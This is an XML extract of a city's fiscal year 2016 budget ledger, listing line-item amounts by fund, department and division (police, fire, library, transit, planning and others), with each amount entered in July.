<row _id="22171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7140</total></row>
<row _id="22172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7140</total></row>
<row _id="22173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9613</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9613</total></row>
<row _id="22174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6675</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6675</total></row>
<row _id="22175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569100.0</object><object_description>SM SYMPHONY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569110.0</object><object_description>CA HERITAGE SQUARE MUSEUM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>943792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>943792</total></row>
<row _id="22178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8800</total></row>
<row _id="22179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="22180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401430.0</object><object_description>CONN/CAP PERMIT FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6000</total></row>
<row _id="22181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-225000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-225000</total></row>
<row _id="22182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>100410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100410</total></row>
<row _id="22183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9728</total></row>
<row _id="22184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5167</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5167</total></row>
<row _id="22185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5262</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5262</total></row>
<row _id="22186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15889</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15889</total></row>
<row _id="22187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>87000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87000</total></row>
<row _id="22188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="22189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5729</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5729</total></row>
<row _id="22190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1558</total></row>
<row _id="22191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>191818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>191818</total></row>
<row _id="22195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1174</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1174</total></row>
<row _id="22196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>132653</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>132653</total></row>
<row _id="22197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9086</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9086</total></row>
<row _id="22198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>566160.0</object><object_description>CANINE PROGRAM</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29645</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29645</total></row>
<row _id="22199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1121310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1121310</total></row>
<row _id="22200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533160.0</object><object_description>PHOTO EQUIPMENT MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1810</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1810</total></row>
<row _id="22201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3735</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3735</total></row>
<row _id="22202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9475137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9475137</total></row>
<row _id="22203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4750</total></row>
<row _id="22204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>104532</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104532</total></row>
<row _id="22205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>107</total></row>
<row _id="22206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>72891</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72891</total></row>
<row _id="22207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37336</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37336</total></row>
<row _id="22208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>152023</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>152023</total></row>
<row _id="22209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>126710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>126710</total></row>
<row _id="22210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>395694</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>395694</total></row>
<row _id="22211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1737</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1737</total></row>
<row _id="22212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERY FROM SUBROGATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-110000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-110000</total></row>
<row _id="22213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>148535</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>148535</total></row>
<row _id="22214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>516692</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>516692</total></row>
<row _id="22215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>543</total></row>
<row _id="22216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2714</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2714</total></row>
<row _id="22217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>537</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>537</total></row>
<row _id="22218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>179670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>179670</total></row>
<row _id="22219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18067</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18067</total></row>
<row _id="22220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4940</total></row>
